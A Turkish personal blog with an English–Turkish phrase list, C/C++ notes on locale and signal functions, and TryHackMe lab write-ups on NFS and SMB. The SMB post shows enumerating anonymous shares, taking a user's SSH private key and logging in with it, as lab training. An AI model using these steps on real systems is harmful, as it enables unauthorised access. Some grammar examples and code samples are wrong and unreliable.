Sic Parvis Magna

7 Eylül 2025 Pazar

Ingilizce - Türkçe Anlamlı Kelimeler #1

Eylül 07, 2025 Posted by unexpected , No comments
Tense Ailesi Tense Adı Formül Örnek Cümle
Past (Geçmiş) Simple Past Kim + was/were + isim = idi I was a student
Kim + naptı + sonra I studied
Past Continuous Kim + was/were + napıyor + sonra I was studying
Past Perfect Kim + had + V3 I was studied
Past Perfect Continuous Kim + had been + Ving I had been studying
Present (Geniş) Simple Present Kim + am/is/are + isim = dir I am a student
Kim + napar + sonra I study
Present Perfect Kim + have/has + V3 I have studied
Present Perfect Continuous Kim + have/has + been + Ving I have been studying for a mounth
Present Continuous Kim + am/is/are + napıyor + Ving I am studying
Future (Gelecek) Simple Future Kim + will + napçak I will study
Future Continuous Kim + will be + Ving I will been studying
Future Perfect Kim + will + have + V3 I will have studied
Future Perfect Continuous Kim + will + have been + Ving I will have been studying

İngilizcede en çok kullanılan olumlu cümleler

Ingilizce Türkçe
Allow me Bana izin ver
Be calm Sakin ol
Be careful Dikkatli ol
Be patient Sabırlı ol
Be quiet Sessiz ol
Believe me İnan bana
Bless you Çok yaşa
Bottoms up Şerefe
Call me back Beni geri ara
Call me later Beni daha sonra ara
Cheer up Neşelen
Come on Hadi ama
Come with me Benimle gel
Congratulations Tebrikler
Count me on, Count me in Ben varım, benide sayın
Do me a faver Bana bir iyilik yap
Enjoy yourself Eğlenmene bak
Excuse me Sir Affedersiniz efendim
Follow me Beni takip et
Forget it Unut gitsin
Forgive me Beni affet
Give me a hand Bana el uzat/Bana yardımcı ol
Good afternoon İyi günler
Good job İyi iş
Good luck İyi şanslar
Good morning Günaydın
Good night İyi geceler
Goodbye Hoşça kal
Have a good trip İyi yolculuklar
Have a good weekend İyi hafta sonları
Have fun İyi eğlenceler
Help yourself Kendine yardım et
Hurry up Acele et
I admire you Sana hayranım
I agree with you Sana katılıyorum
I am home Evdeyim
I am hungry Acıktım
I am lost Kayboldum
I am serious Ciddiyim
I am sure Eminim
I apologize Özür dilerim
I got it Anladım
I hate you Senden nefret ediyorum
I have no idea Hiç bir fikrim yok
I hope so Öyle umuyorum
I knew it Bunu biliyordum
I know Biliyorum
I love you Seni seviyorum
I promise Söz veriyorum
I think so Ben öyle düşünüyorum
I will be back Geri döneceğim
I wish you all the best Size en iyisini diliyorum
I would love to Çok isterim
I'm busy Meşgulüm
I'm good İyiyim
I'm sorry Üzgünüm
I'm tired Yorgunum
It is beyond me Bu beni aşar
It's okay Sorun değil
It's so good to see you again Seni tekrar görmek çok güzel
Join me Katıl bana
Keep in touch İletişimi koparmayalım
Keep it up Aynen devam et
Let's catch up Hadi yetişelim
Let's do it Hadi yapalım
Line up Sıraya girin
Long time no talk Uzun zamandır konuşmuyoruz
My battery is low Pilim düşük
Nice to meet you Tanıştığımıza memnun oldum
Of course Tabi ki, Elbette
See you Görüşürüz
See you later Sonra görüşürüz
See you next time Bir dahaki sefere görüşürüz
See you tomorrow Yarın görüşürüz
Slow down Yavaşla
Take care Kendine iyi bak
Talk to you tomorrow Yarın konuşuruz
Thank you very much Çok teşekkür ederim
That's all for now Şimdilik bu kadar
This way Buradan/Bu tarfdan
Try again Tekrar dene
You are going too fast Çok hızlı gidiyorsun
You are welcome Rica ederim
Your turn Senin sıran

İngilizcede en çok kullanılan olumsuz cümleler

Ingilizce Türkçe
I don't care Umrumda değil
Don't be ridiculous Komik olma/Saçmalama
Don't be so childish Bu kadar çocuk olma/Çocukluk etme
Don't be so modest Bu kadar alçak gönülü olma
Don't keep the truth from me Benden gerçekleri saklama
Don't let me down Beni hayal kırıklığına uğratma
Don't move Kıpırdama
Don't touch me Dokunma bana
Don't worry Edişelenme
I am not hungry Aç değilim
I can't wait Bekleyemem
I don't agree Katılmıyorum
I don't believe you Sana inanmıyorum
I don't know/Arono Bilmiyorum
I don't mean it Onu demek istemedim
I don't understand Anlamıyorum
I don't want to İstemiyorum
I don't have time Zamanım yok
I have no idea Hiç bir fikrim yok
It doesn't matter Önemli değil
Not at all Bir şey değil
Not bad Fena değil
Not yet Henüz değil/Daha değil

İngilizcede en çok kullanılan soru cümleleri

Ingilizce Türkçe
Anything else? Başka bir şey?
Are you coming with me? Benimle geliyor musun?

Table: 1 - Kelimeler

Ingilizce Türkçe
Cheap - Expensive Ucuz - Pahalı
Distant - Near Uzak - Yakın
Modern - Ancient Çağdaş - Eski/Antik
Delicious - Awful Lezzetli - İğrenç
Wide - Narrow Geniş - Dar
Talkative - Taciturn Konuşkan - Sessiz
Healthy - Sick Sağlıklı - Hasta
Careful - Careless Dikkatli - Dikkatsiz
Pessimistic - Optimistic Olumsuz - Olumlu
Tidy - Messy Düzenli - Dağınık
Patient - Impatient Sabırlı - Sabırsız
Friendly - Unfriendly Samimi - Samimiyetsiz
Cold - Hot Soğuk - Sıcak

Table: 2 - Adres tarifinde kullanılan kelimeler

Ingilizce Türkçe
Turn left Sola dön
Turn right Sağa dön
On the left Solda
On the right Sağda
Go away street Yol boyunca yürü
Opposite Karşısında
Next to Yanında
Behind Gerisinde/Arkasında

Table: 3

Ingilizce Türkçe
Tall Uzun
Slim İnce/Zayıf
Weigth Ağırlık
Medium Orta
Heigth Yükseklik
Small Küçük
Large Büyük
Big Büyük
Have Sahip Olmak
Live Calı/Yaşamak
People Insan
What Ne
Where Nerede
How many? Kaç tane?
How much? Ne kadar?
Who? Kim?
When? Ne zaman?

Table: 4 - YDS'de önemli zarflar

Ingilizce Türkçe
Primarily Başlıca/Öncelikli
Probably Muhtemelen
Properly Uygun şekilde/Düzgün
Smilarly Benzer şekilde
Simply Basitçe/Sadece
Strongly Kesinlikle/Şiddetle/Son derece
Rapidly Hızlıca
Rarely Nadiren

Table: 5 - Renkler

Ingilizce Türkçe
White Beyaz
Yellow Sarı
Green Yeşil
Grey Gri
Silver Gümüş
Brown Kahverengi
Pink Pembe
Purple Mor
Orange Turuncu
Maroon/Claret Red Bordo/Bordo Kırmızı

Table: 6

Ingilizce Türkçe
Know Bilmek
Smile Gülümsemek
Believe Inanmak
Speak Konuşmak
Play Oynamak
Feel Hissetmek

Table: 7

Ingilizce Türkçe
Abandon Terk etmek
Abase Aşağılamak
Abide Tehammül etmek
Rescue Kurtarmak

Table: 8

Ingilizce Türkçe
Eat Yemek
Drink İçmek
Order Sipariş
Pay Ödemek
I believe you Sana inanıyorum.
Can I have a latte? Bir latte alabilir miyim?
Do you want anything else? Başka bir şey ister misiniz?
Don't come to work late İşe geç gelme
Excuse me! What time is it? Afedersiniz! Saat kaç?

Table: 9

Ingilizce Türkçe
I miss you Seni özledim
I miss you to Ben de seni özledim
Do you love me? Beni seviyor musun?
I am dreaming Hayal kuruyorum.
Do you have a plan? Bir planın var mı?

Table: 10

Ingilizce Türkçe
Cut Kesmek
Chop Doğramak
Slice Dilimlemek
Grate Rendelemek
Peel Soymak
Stir Karıştırmak
Whisk Çırpmak
Saute Sotelemek
Pour Dökmek
Carve Dilim dilim kesmek
Cook Pişirmek
Bake Fırında pişirmek
Boil Kaynatmak
Broil Kızartmak
Fry Kızartma
Steam Buğulamak
Scramble Çırpmak
Barbecue/Grill Barbekü/Izgara
Microwave Microdalga

Table: 11 - How do you feel now? (Şimdi nasıl hissediyorsun?)

Ingilizce Türkçe
I'm great 😀 Ben harikayım 😀
I'm good. Not bad 🙂 İyim. Fena değil. 🙂
I'm alright/ok. Can't complain 😐 Ben iyiyim. Şikayet edemem 😐
I'm ill. I feel sick 🤢 Hastayım. Kendimi kötü hissediyorum. 🤢
I'm ill I've got a cold 🤧 Hastayım. Soğuk algınlığı oldum. 🤧
I'm ill. I've got at temperature 🤒 Hastayım. Ateşim var. 🤒
I'm angry. I'm fuming 🤬 Kızgınım. Öfkeliyim. 🤬
I'm not ok 😫 İyi değilim. 😫
I'm stressed 😤 Stresliyim. 😤
I'm excited 🤪 Heyecanlıyım. 🤪
I'm not so good 🙁 Ben pek iyi değilim. 🙁
I'm hungry 😋 Acıktım. 😋
I'm in love 😍 Aşığım 😍
I'm sad / upset 😢 Üzgünüm / kızgınım 😢
I'm tired 😴 Yorgunum. 😴
I'm thirsty 🤤 Susadım. 🤤

Table: 12

Ingilizce Türkçe
Please Lütfen
Thank you Teşekkür ederim
Not at all Bir şey değil
Welcome Hoşgeldiniz
Good bye Güle güle
I think so Sanırım
I'm sure Eminim
I hope so Umarım
I agree Katılıyorum
I see Anlıyorum
We will see Göreceğiz
Good afternoon Tünaydın
How's going Nasıl gidiyor.

Table: 13

Ingilizce Türkçe
Excuse me, Can I ask you an address? Afedersiniz, size bir adres sorabilir miyim?
I want to go to this address Bu adrese gitmek istiyorum
I want to go to bus station Otogara gitmet istiyorum
I want to go to train station Tren garına gitmet istiyorum
Where is the bus station? Otogar nerede?
Where is the bus stop? Otobüs durağı nerede?
Where is the toilet? Tuvalet nerede?
Can you help me? Bana yardım eder misin?
Cat is such a cute animal Kedi çok sevimli bir hayvan
I'm on top of the world Dünyanın zirvesindeyim
Actually, You're on top of me Aslında, sen benim üstümdesin
You are my world Sen benim dünyamsın
You are so awesome Çok harikasın
You look amazing Harika görünüyorsun
You have the best smile En güzel gülümsemeye sahipsin

Table: 14

Ingilizce Türkçe
Apple Elma
Apricot Kayısı
Avocado Avokado
Banana Muz
Blackcurrant Siyah frenk üzümü
Blackberry Böğürtlen
Blueberry Yaban mersini
Cherry Kiraz
Coconut Hindistan Cevizi
Fig İncir
Grape Üzüm
Kiwi Kivi
Lemon Limon
Mango Mango
Nectarine Nektari
Orange Portakal
Passion Fruit Çarkıfelek Meyvesi
Peach Şeftali
Pear Armut
Pineapple Ananas
Plum Erik

Table: 15

Ingilizce Türkçe
Take a shower Duş almak
Take a taxi Taksiye binmek
Take an exam Sınava girmek
Take medicine İlaç almak
Take a decision Karar alamak
Take notes Notlar almak
Take a risk Risk almak
Take a vacation Tatile çıkmak
Take a change Değişiklik yapmak
Take a picture Fotoğraf çekmek
Take a advice Tavsiye almak

Table: 16

Ingilizce Türkçe
Can you pick me up? Beni alabilir misiniz?
Is there a room free? Boş oda var mı?
How far is it? Ne kadar uzakta?
I'm very pleased Ben çok memnunum
The food was excellent Yemekler mükemmeldi.
Can I pay by Credit card? Keridi kartı ile ödeyebilir miyim?

31 Ağustos 2025 Pazar

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #15

Ağustos 31, 2025 Posted by unexpected , , , No comments

newlocale

Yeni bir locale oluşturur.

Syntax
locale_t newlocale(int category_mask, const char* locale, locale_t base);

Params

  • category_mask: Bir katagori seçilir.
  • locale: Local adı verilir. Örn: en_US.UTF-8, C eğer NULL olursa yeni oluşturur.
  • base: Sıfır olarak tanımlanır.

Kategori Mask Listesi:

  • LC_CTYPE_MASK
  • LC_NUMERIC_MASK
  • LC_TIME_MASK
  • LC_COLLATE_MASK
  • LC_MONETARY_MASK
  • LC_MESSAGES_MASK
  • LC_PAPER_MASK
  • LC_NAME_MASK
  • LC_ADDRESS_MASK
  • LC_TELEPHONE_MASK
  • LC_MEASUREMENT_MASK
  • LC_IDENTIFICATION_MASK
  • LC_ALL_MASK
example.cpp
#include <stdio.h>
#include <locale.h>

int main(int argc, char** argv)
{	
	locale_t loc = newlocale(LC_ALL_MASK, "en_US.UTF-8", (locale_t)0);
	if(!loc)
	{
		printf("newlocale error\n");
		return -1;
	}
	
	return 0;
}

duplocale

Verilen locale_t nesnesinin kopyasını oluştur. Başarılı olursa locale_t döner. Başarısız durumun da NULL olarak döner.

Syntax
locale_t duplocale(locale_t dataset);

Params

  • dataset: locale_t tipinde bir değer alır.
example.cpp
#include <stdio.h>
#include <locale.h>

int main(int argc, char** argv)
{
	...
	
	locale_t copy_loc = duplocale(loc);
	if(!copy_loc)
	{
		printf("duplocale error\n");
		return -1;
	}
	
	return 0;
}

freelocale

Oluşturulmuş locale_t nesnelerini serbest bırakır.

Syntax
void freelocale(locale_t dataset);

Params

  • dataset: locale_t tipinde bir değer alır.
example.cpp
#include <stdio.h>
#include <locale.h>

int main(int argc, char** argv)
{
	...
	
	freelocale(loc);
	freelocale(copy_loc);
	
	return 0;
}

uselocale

Aktif bir thread'in localini değiştirir.

Syntax
locale_t uselocale(locale_t dataset);

Params

  • dataset: Eğer LC_GLOBAL_LOCALE verilirise thread, tekrar global locale’i kullanmaya başlar. NULL verlirse sadece mevcut thread’in aktif locale’i döndürülür (değişiklik yapılmaz). Bir locale_t nesnesi verilirse o locale, geçerli thread için aktif olur.
example.cpp
#include <stdio.h>
#include <locale.h>

int main(int argc, char** argv)
{
	...
	
	locale_t thread_loc = uselocale(loc);
	if(!thread_loc)
	{
		printf("uselocale error\n");
		return -1;
	}
	
	return 0;
}

10 Nisan 2025 Perşembe

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #14

Nisan 10, 2025 Posted by unexpected , , No comments

signal

Sinyalere özel bir handler tanımlanır. Başarılı ise tanımlı handler döner.

Syntax
__sighandler_t signal(int sig, __sighandler_t hnd);

Params

  • sig: Sinyal tanımları alır.
  • hnd: Bir callback function alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int isrunning = 1;

void callback_handler(int num)
{
	isrunning = 0;
}

int main(int argc, char** argv)
{	
	int count = 0;
	signal(SIGINT, callback_handler);  /// Ctrl+C sinyalini yakala
	while(isrunning)
	{
		printf("\rCount: %d", count);
		count++;
	}
	
	return 0;
}
Kullanılabilir sinyal tanımları:
example.txt
SIGINT		# Interactive attention signal.
SIGILL		# Illegal instruction.
SIGABRT		# Abnormal termination.
SIGFPE		# Erroneous arithmetic operation.
SIGSEGV		# Invalid access to storage.
SIGTERM		# Termination request.
SIGHUP		# Hangup.
SIGQUIT		# Quit.
SIGTRAP		# Trace/breakpoint trap.
SIGKILL		# Killed.
SIGBUS		# Bus error.
SIGSYS		# Bad system call.
SIGPIPE		# Broken pipe.
SIGALRM		# Alarm clock.
SIGURG		# Urgent data is available at a socket.
SIGSTOP		# Stop, unblockable.
SIGTSTP		# Keyboard stop.
SIGCONT		# Continue.
SIGCHLD		# Child terminated or stopped.
SIGTTIN		# Background read from control terminal.
SIGTTOU		# Background write to control terminal.
SIGPOLL		# Pollable event occurred (System V).
SIGXCPU		# CPU time limit exceeded.
SIGXFSZ		# File size limit exceeded.
SIGVTALRM	# Virtual timer expired.
SIGPROF		# Profiling timer expired.
SIGUSR1		# User-defined signal 1.
SIGUSR2		# User-defined signal 2.
SIGWINCH	# Window size change (4.3 BSD, Sun).

sigismember

Her hangi bir sinyalin sigset_t içerisinde olup olmadığını kontrol eder. Başarılı ise 1 başarısız ise 0 değerini döner.

Syntax
int sigismember(const sigset_t* set, int signo); // linux systems

Params

  • set: sigset_t değeri alır.
  • signo: Sinyal tanımları alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
    
	if(sigismember(&set, SIGINT))
		printf("Sinyal mevcut.");
	
	return 0;
}

sigfillset

Tüm sinyaleri sigset_t içerisine ekler. Başarılı ise 0 değerini döner.

Syntax
int sigfillset(sigset_t* set); // linux systems

Params

  • set: sigset_t değeri alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
	
	sigfillset(&set);
	
	if(sigismember(&set, SIGINT))
		printf("Sinyal mevcut.");
	
	return 0;
}

sigemptyset

Tüm sinyaleri sigset_t içerisinden boşaltır. Başarılı ise 0 değerini döner.

Syntax
int sigemptyset(sigset_t* set); // linux systems

Params

  • set: sigset_t değeri alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
	
	sigfillset(&set);	/// Önce doldur
	sigemptyset(&set);  /// Sonra boşalt
	
	if(sigismember(&set, SIGINT))	/// Kontrol et
		printf("Sinyal mevcut.");
	
	return 0;
}

sigaddset

Belirli bir sinyali sigset_t içerisine ekler. Başarılı ise 0 değerini döner.

Syntax
int sigaddset(sigset_t* set, int signo); // linux systems

Params

  • set: sigset_t değeri alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
	
	sigemptyset(&set);        /// Önce boşalt
	sigaddset(&set, SIGINT);  /// Sonra ekle
	
	if(sigismember(&set, SIGINT))	/// Kontrol et
		printf("Sinyal mevcut.");
	
	return 0;
}

sigdelset

Belirli bir sinyali sigset_t içerisinden siler. Başarılı ise 0 değerini döner.

Syntax
int sigdelset(sigset_t* set, int signo); // linux systems

Params

  • set: sigset_t değeri alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
	
	sigemptyset(&set);       /// Önce boşalt
	sigaddset(&set, SIGINT); /// Sonra ekle
	sigdelset(&set, SIGINT); /// Sonra sil
	
	if(sigismember(&set, SIGINT))	/// Kontrol et
		printf("Sinyal mevcut.");
	
	return 0;
}

sigprocmask

Belirli sinyallerin işlenmesini engellemek veya eski hale getirmek için kullanılır. Başarılı ise 0 değerini döner.

Syntax
int sigprocmask(int how, const sigset_t* set, sigset_t* oset); // linux systems

Params

  • how: Sinyal engel tanımları alır.
  • set: sigset_t değeri alır.
  • oset: sigset_t değeri alır.
example.cpp
#include <stdio.h>
#include <signal.h>

int main(int argc, char** argv)
{	
	sigset_t set;
	
	sigemptyset(&set);
	sigaddset(&set, SIGINT);
	
	// Sinyali engelle
	sigprocmask(SIG_BLOCK, &set, NULL);
	
	// Sinyal engelini kaldır.
	sigprocmask(SIG_UNBLOCK, &set, NULL);
	
	return 0;
}
Kullanılabilir sinyal engel tanımları:
example.txt
SIG_BLOCK    # Block signals.
SIG_UNBLOCK     # Unblock signals.
SIG_SETMASK     # Set the set of blocked signals.

sigaction

Sinyalere özel bir handler tanımlanır. Başarılı ise 0 değerini döner.

Syntax
int sigaction(int sig, const struct sigaction* act, struct sigaction* oact); // linux systems

Params

  • sig: Sinyal tanımları alır.
  • act: Sigaction struct alır.
  • oact: Sigaction struct alır.
example.cpp
#include <string.h>
#include <ctype.h>

int isrunning = 1;

void callback_handler(int sig)
{
	isrunning = 0;
}

int main(int argc, char** argv)
{	
	struct sigaction sa;
	
	sa.sa_handler = callback_handler;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = 0;
	
	int count = 0;
	printf("%d\n", sigaction(SIGINT, &sa, NULL)); /// Ctrl+C sinyalini yakala
	while(isrunning)
	{
		printf("\rCount: %d", count);
		count++;
	}
	
	return 0;
}

31 Mart 2025 Pazartesi

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #13

Mart 31, 2025 Posted by unexpected , , , No comments

access

Verilen bir dosya için erişim kontrolünü sağlar. Barşarılı ise 0 değerini, başarısız durumunda -1 değerini döner.

Erişim modları:

  • F_OK: Full Access
  • X_OK: Executable Access
  • W_OK: Writable Access
  • R_OK: Readable Access
Syntax
int access(const char* filename, int mode);

Params

  • filename: Dosya adı
  • mode: Erişim modu
example.cpp
#include <string.h>
#include <unistd.h>

int main(int argc, char** argv)
{	
	printf("%d", printf("%d", access("data.txt", F_OK)));
	
	return 0;
}

nanosleep

Verilen süre boyunca işlemi duraklatır. Barşarılı ise 0 değerini, başarısız durumunda -1 değerini döner. Eğer sinyal tarafından kesilirse, kalan süre değerini rem değerine döner.

Syntax
int nanosleep(const struct timespec* req, struct timespec* rem);

Params

  • req: Bir timespec structer değeri alır
  • rem: Bir timespec structer değeri alır
example.cpp
#include <stdio.h>
#include <time.h>

int main(int argc, char** argv)
{
	struct timespec req, rem;
	
	// 1.5 saniye uyumak için: 1 saniye + 500 milyon nanosaniye
	req.tv_sec = 1; // (long)
	req.tv_nsec = 500000000; // (long) nanosaniye (1 saniye = 1,000,000,000 nanosaniye)

	if(nanosleep(&req, &rem) == -1)
	{
		printf("ld, ld", rem.tv_sec, rem.tv_nsec);
	}
	
	return 0;
}

1 Ocak 2025 Çarşamba

TryHackMe - Network Services #2

Ocak 01, 2025 Posted by unexpected No comments

Task 2 - Understanding NFS

NFS Nedir?

NFS, "Network File System" anlamına gelir ve bir sistemin dizinleri ve dosyaları bir ağ üzerinden başkalarıyla paylaşmasına olanak tanır. NFS kullanarak, kullanıcılar ve programlar uzak sistemlerdeki dosyalara neredeyse yerel dosyalarmış gibi erişebilirler. Bunu, bir dosya sisteminin tamamını ya da bir kısmını sunucuya bağlayarak yapar. Dosya sisteminin bağlanan kısmına, her dosyaya atanan ayrıcalıklara sahip istemciler tarafından erişilebilir.

NFS nasıl çalışır?

NFS'den etkili bir şekilde yararlanabilmek için teknik alışverişi çok ayrıntılı olarak anlamamız gerekmiyor ancak bu ilginizi çeken bir şeyse buradan daha fazla bilgi alınabilir.

İlk olarak, istemci, fiziksel bir aygıtı bağlayabildiği gibi, uzak bir ana bilgisayardan yerel bir dizine bir dizin bağlama talebinde bulunacaktır. Daha sonra mount servisi RPC kullanarak ilgili mount daemon'una bağlanmak için harekete geçecektir.

Sunucu, kullanıcının talep edilen dizini bağlama iznine sahip olup olmadığını kontrol eder. Daha sonra, sunucudaki her dosya ve dizini benzersiz bir şekilde tanımlayan bir dosya tanıtıcısı döndürür.

Birisi NFS kullanarak bir dosyaya erişmek isterse, sunucudaki NFSD'ye (NFS daemon) bir RPC çağrısı yapılır. Bu çağrı aşağıdaki gibi parametreler alır:

  • File handle
  • Erişilicek dosya adı
  • Kullanıcı kimlik bilgisi
  • kullanıcı group bilgisi

Bunlar, belirtilen dosyaya erişim haklarının belirlenmesinde kullanılır. Bu, kullanıcı izinlerini kontrol eden şeydir, yani dosyaların okunması ve yazılması.

NFS'i ne çalıştırır?

NFS protokolünü kullanarak, Windows, Linux, MacOS veya UNIX gibi diğer Windows dışı işletim sistemlerini çalıştıran bilgisayarlar arasında dosya aktarabilirsiniz.

Windows Server çalıştıran bir bilgisayar, Windows olmayan diğer istemci bilgisayarlar için bir NFS dosya sunucusu görevi görebilir. Aynı şekilde NFS, Windows Server çalıştıran Windows tabanlı bir bilgisayarın Windows olmayan bir NFS sunucusunda depolanan dosyalara erişmesine olanak tanır.

NFS'nin teknik uygulamasını ve çalışmasını burada ele aldığımdan daha ayrıntılı olarak açıklayan bazı kaynaklar aşağıda verilmiştir.

1. NFS ne anlama geliyor?

Network File System

2. Hangi işlem bir NFS istemcisinin uzaktaki bir dizinle fiziksel bir aygıtmış gibi etkileşime girmesini sağlar?

Mounting

31 Aralık 2024 Salı

TryHackMe - Network Services #1

Aralık 31, 2024 Posted by unexpected No comments

Task 2 - Understanding SMB

SMB Nedir?

Server Message Block Protocol (SMB) bir ağ üzerindeki dosyalara, yazıcılara, seri bağlantı noktalarına ve diğer kaynaklara erişimi paylaşmak için kullanılan bir client - server iletişim protokolüdür. source

Sunucular dosya sistemlerini ve diğer kaynakları (yazıcılar, pipes, API'ler) ağ üzerindeki istemcilerin kullanımına sunar. İstemci bilgisayarların kendi sabit diskleri olabilir, ancak sunuculardaki paylaşılan dosya sistemlerine ve yazıcılara da erişmek isterler.

SMB protokolü bir response request protokolü olarak bilinir, yani bir bağlantı kurmak için istemci ve sunucu arasında birden fazla mesaj iletir. İstemciler sunuculara TCP/IP (aslında RFC1001 ve RFC1002'de belirtildiği gibi TCP/IP üzerinden NetBIOS), NetBEUI veya IPX/SPX kullanarak bağlanır.

SMB nasıl çalışır?

Bir bağlantı kurduktan sonra, istemciler sunucuya paylaşımlara erişmelerine, dosyaları açmalarına, dosyaları okumalarına yazmalarına ve genellikle bir dosya sistemiyle yapmak istediğiniz her şeyi yapmalarına olanak tanıyan komutlar (SMB'ler) gönderebilirler. Ancak, SMB söz konusu olduğunda, bu işlemler ağ üzerinden yapılır.

SMB'yi ne çalıştırır?

Windows 95'ten bu yana Microsoft Windows işletim sistemleri istemci ve sunucu SMB protokolü desteği içermektedir. SMB protokolünü destekleyen açık kaynaklı bir sunucu olan Samba, Unix sistemleri için piyasaya sürülmüştür.

1. SMB açılımı nedir?

Server Message Block

2. SMB ne tür bir protokoldür?

response-request

3. İstemciler sunuculara ne kullanarak bağlanır?

TCP/IP

4. Samba hangi sistemlerde çalışır?

Unix

Task 3 - Enumerating SMB

Enumeration

Enumeration, potansiyel saldırı vektörlerini bulmak ve istismara yardımcı olmak için bir hedef hakkında bilgi toplama sürecidir.

Bu süreç bir saldırının başarılı olması için çok önemlidir, çünkü işe yaramayan ya da sistemi çökertebilecek açıklarla zaman kaybetmek enerji kaybı olabilir. Enumeration, kullanıcı adlarını, parolaları, ağ bilgilerini, ana bilgisayar adlarını, uygulama verilerini, hizmetleri veya bir saldırgan için değerli olabilecek diğer bilgileri toplamak için kullanılabilir.

SMB

Tipik olarak, bir sunucu üzerinde bağlanılabilen ve dosyaları görüntülemek veya aktarmak için kullanılabilen SMB paylaşım sürücüleri vardır. SMB, hassas bilgileri keşfetmek isteyen bir saldırgan için genellikle harika bir başlangıç noktası olabilir bazen bu paylaşımlarda nelerin bulunduğuna şaşıracaksınız.

Port Taraması

Enumeration ilk adımı, hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için bir port taraması yapmaktır.

Enum4Linux

Enum4linux, hem Windows hem de Linux sistemlerinde SMB paylaşımlarını numaralandırmak için kullanılan bir araçtır. Temel olarak Samba paketindeki araçların etrafını sarar ve hedeften SMB ile ilgili bilgileri hızlı bir şekilde çıkarmayı kolaylaştırır. Kendi saldırı makinenize yüklemeniz gerekiyorsa, bunu resmi github adresinden indirip yapabilirsiniz.

Enum4linux'un kullanımı basittir: enum4linux [options] ip

TAG FUNCTION
-U Kullanıcı listesi
-M Makine listesi
-N İsim listsi (-U ve -M farklıdır.)
-S Paylaşılan listesi
-P Password politikası bilgileri
-G Group ve Kullanıcı listesi
-a Hepsini getir

1. Nmap taraması yapın. Kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
3

2. SMB hangi portlar üzerinde çalışıyor?

139/445

3. Enum4Linux ile başlayalım, tam bir temel enumeration yapalım. Çalışma grubunun adı nedir?

terminal
enum4linux -a 10.10.44.59
WORKGROUP

4. Makinenin adı olarak ne geliyor?

POLOSMB

5. Hangi işletim sistemi sürümü çalışıyor?

6.1

6. Hangi paylaşım araştırmak isteyebileceğimiz bir şey olarak öne çıkıyor?

IPC$ ve print$ varsayılan SMB paylaşımlarıdır. netlogon, Network Login hizmetine ait bir paylaşımdır. Eleme sürecine göre, öne çıkan paylaşım profillerdir.

profiles

Task 4 - Exploiting SMB

SMB Exploit Türleri

CVE-2017-7494 gibi SMB'den yararlanarak uzaktan kod çalıştırmaya izin verebilecek güvenlik açıkları olsa da, bir sisteme girmenin en iyi yolunun sistemdeki yanlış yapılandırmalardan kaynaklandığı bir durumla karşılaşma olasılığınız daha yüksektir. Bu durumda, anonim SMB paylaşım erişiminden yararlanacağız bir shell'e yol açacak bilgileri elde etmemize izin verebilecek yaygın bir yanlış yapılandırma.

SMBClient

Bir SMB paylaşımına erişmeye çalıştığımız için, sunuculardaki kaynaklara erişmek için bir istemciye ihtiyacımız var. SMBClient kullanacağız çünkü varsayılan samba paketinin bir parçasıdır. Kendi makinenize yüklemeniz gerekiyorsa, buradan indirebilirisiniz

terminal
smbclient //[IP]/[SHARE]
TAG FUNCTION
-U Kullanıcı bilgisi
-p Port bilgisi

1. Varsayılan bağlantı noktasında 10.10.10.2 IP'li bir makinede "suit" kullanıcısı olarak "secret" adlı bir SMB paylaşımına erişmek için doğru sözdizimi ne olurdu?

smbclient //10.10.10.2/secret -U suit -p 445

2. Paylaşım anonim erişime izin veriyor mu?

terminal
smbclient //10.10.44.59/profiles -U Anonymous
Y

3. Değerli bilgiler içerebilecek ilginç belgeler için etrafa bir göz atın. Bu profil klasörünün kime ait olduğuna bakalım?

Öne çıkan dosya "Working From Home Information.txt". more komutu kullanılarak dosyanın içeriği okunabilir.

terminal
more "Working From Home Information.txt"
John Cactus

4. Evden çalışmasına izin vermek için hangi hizmet yapılandırıldı?

ssh

5. Artık bunu bildiğimize göre, paylaşımda hangi dizine bakmalıyız?

SSH anahtarları .ssh dizininde saklanır. Varsayılan olarak sunucunun private key id_rsa adlı bir dosyaya kaydedilir ve public key id_rsa.pub adlı bir dosyada saklanır. Sunucuya bağlanmak için private key'e ihtiyacımız vardır. John Cactus için SSH kullanıcı adını bilmediğimizden, private key SSH kullanıcı adını içereceğinden public ve private key indirdim.

mget komutu kullanılarak bir SMB sunucusundan birden fazla dosya indirilebilir.

terminal
mget id_rsa id_rsa.pub
.ssh

6. Bu dizin, bir kullanıcının bir sunucuda kimliğini doğrulamasına ve ardından sunucuya erişmesine olanak tanıyan kimlik doğrulama anahtarlarını içerir. Bu anahtarlardan hangisi bizim için en kullanışlıdır?

id_rsa

Bu dosyayı yerel makinenize indirin ve "chmod 600 [dosya]" kullanarak izinleri "600" olarak değiştirin.

Şimdi, hesabın kullanıcı adını bulmak için daha önce topladığınız bilgileri kullanın. Ardından, sunucuda oturum açmak için hizmeti ve anahtarı kullanın.

7. smb.txt içindeki flag nedir?

terminal
chmod 600 id_rsa      # Private key izinlerini değiştir.
cat id_rsa.pub      # Public key içerisin de ssh kullanıcı adını dosya sonunda buluyoruz.
ssh cactus@10.10.44.59 -i id_rsa      # Private key kullanarak sunucuya bağlanıyoruz.
THM{smb_is_fun_eh?}

Task 5 - Understanding Telnet

Telnet Nedir?

Telnet, bir telnet istemcisi kullanarak, bir telnet sunucusu barındıran uzak bir makineye bağlanmanıza ve bu makinede komutlar çalıştırmanıza olanak tanıyan bir uygulama protokolüdür.

Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra sanal bir terminal haline gelecek ve uzak ana bilgisayarla etkileşime girmenize izin verecektir.

